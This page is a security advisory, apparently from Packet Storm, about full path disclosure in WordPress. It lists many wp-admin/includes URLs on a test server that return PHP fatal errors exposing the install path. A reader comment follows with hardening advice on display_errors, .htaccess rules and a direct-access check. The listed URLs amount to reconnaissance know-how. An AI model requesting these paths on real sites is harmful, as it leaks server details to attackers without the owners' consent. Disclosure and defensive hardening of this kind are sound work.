Warning: require_once(ABSPATHwp-admin/includes/admin.php) [function.require-once]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16

Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHwp-admin/includes/admin.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/update.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\update.php on line 113
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/update-core.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\update-core.php on line 716

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/theme-install.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\theme-install.php on line 117

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/template.php


Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\template.php on line 23

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/schema.php


Fatal error: Call to undefined function is_multisite() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\schema.php on line 50

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/plugin.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\plugin.php on line 1677

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/plugin-install.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\plugin-install.php on line 111

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/nav-menu.php


Fatal error: Class 'Walker_Nav_Menu' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\nav-menu.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/ms.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\ms.php on line 44

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/misc.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\misc.php on line 210
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/menu.php

Fatal error: Call to undefined function is_network_admin() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\menu.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/media.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\media.php on line 57

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\list-table.php on line 77
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/file.php


Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\file.php on line 11

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/dashboard.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\dashboard.php on line 1133

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/continents-cities.php


Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\continents-cities.php on line 7
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-users-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-users-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-themes-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-themes-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-theme-install-list-table.php


Fatal error: Class 'WP_Themes_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-theme-install-list-table.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-terms-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-terms-list-table.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-posts-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-posts-list-table.php on line 10
====================================================


http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-plugins-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-plugins-list-table.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-plugin-install-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-plugin-install-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-users-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-users-list-table.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-themes-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-themes-list-table.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-sites-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-sites-list-table.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-media-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-media-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-links-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-links-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ssh2.php

Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ssh2.php on line 43
====================================================


http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpsockets.php


Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ftpsockets.php on line 17
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpext.php


Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ftpext.php on line 17

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-direct.php


Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-direct.php on line 17

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-comments-list-table.php


Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-comments-list-table.php on line 18

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-ftp-sockets.php


Fatal error: Class 'ftp_base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-ftp-sockets.php on line 28

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-ftp-pure.php


Fatal error: Class 'ftp_base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-ftp-pure.php on line 28
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/admin.php


Fatal error: Call to undefined function load_textdomain() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\admin.php on line 13
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/admin-functions.php


Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\admin-functions.php on line 12

====================THE END==========================





SHOUTZ AND GREAT THANKS TO ALL MY FRIENDS:
===========================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
exploit-db.com
to all AA Team + to all Azerbaijan Black HatZ +
*Especially to my bro CAMOUFL4G3.*
===========================================================

/AkaStep

Comments (1)

RSS Feed Subscribe to this comment feed
digip

This is really a two fold problem.

#1 - You should set your servers php.ini settings to display_errors = Off, and
#2 - If your hosting provider doesn't allow access to edit those settings, you can add an .htaccess file in each directory and use the following code to prevent disclosure or site errors from WordPress:

#put in /wp-includes/.htaccess - only allow the server to use these files
<Files *.php >
deny from all
allow from x.x.x.x
</Files>

where x.x.x.x is your servers IP address. This allows the scripts to run under wordpress, but no one externally to view them. Try it yourself.

For /wp-admin/ by default, you should have that directory only allowed access by your own IP address, and could use htaccess rules for the same thing, including wp-login.php file, to prevent logins from users other than from your allowed IP addresses.

If you're on Windows IIS, well, that in itself is already a nightmare to scure, but it comes down to securing your hosts webserver more so than relying on WordPress to do the security of your server for you.

If you need to see errors for debugging something, change the settings to see them or set them to go to a log file instead that you can review(which can also be set in php.ini), but disable them when done. Most users just aren't aware of the issues or savvy with editing these things, but if you run a website, you should at least learn some basics to help secure it from these types of attacks.

WordPress should implement and add this to every php file that has this issue though, and it is a single line of code that basically stops the disclosure when added to the top of every file:

if (preg_match('#'.basename(__FILE__).'#', $_SERVER['PHP_SELF'])) die('Access denied - you cannot directly call this file');

Comment by digip
2012-09-19 14:17:55 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close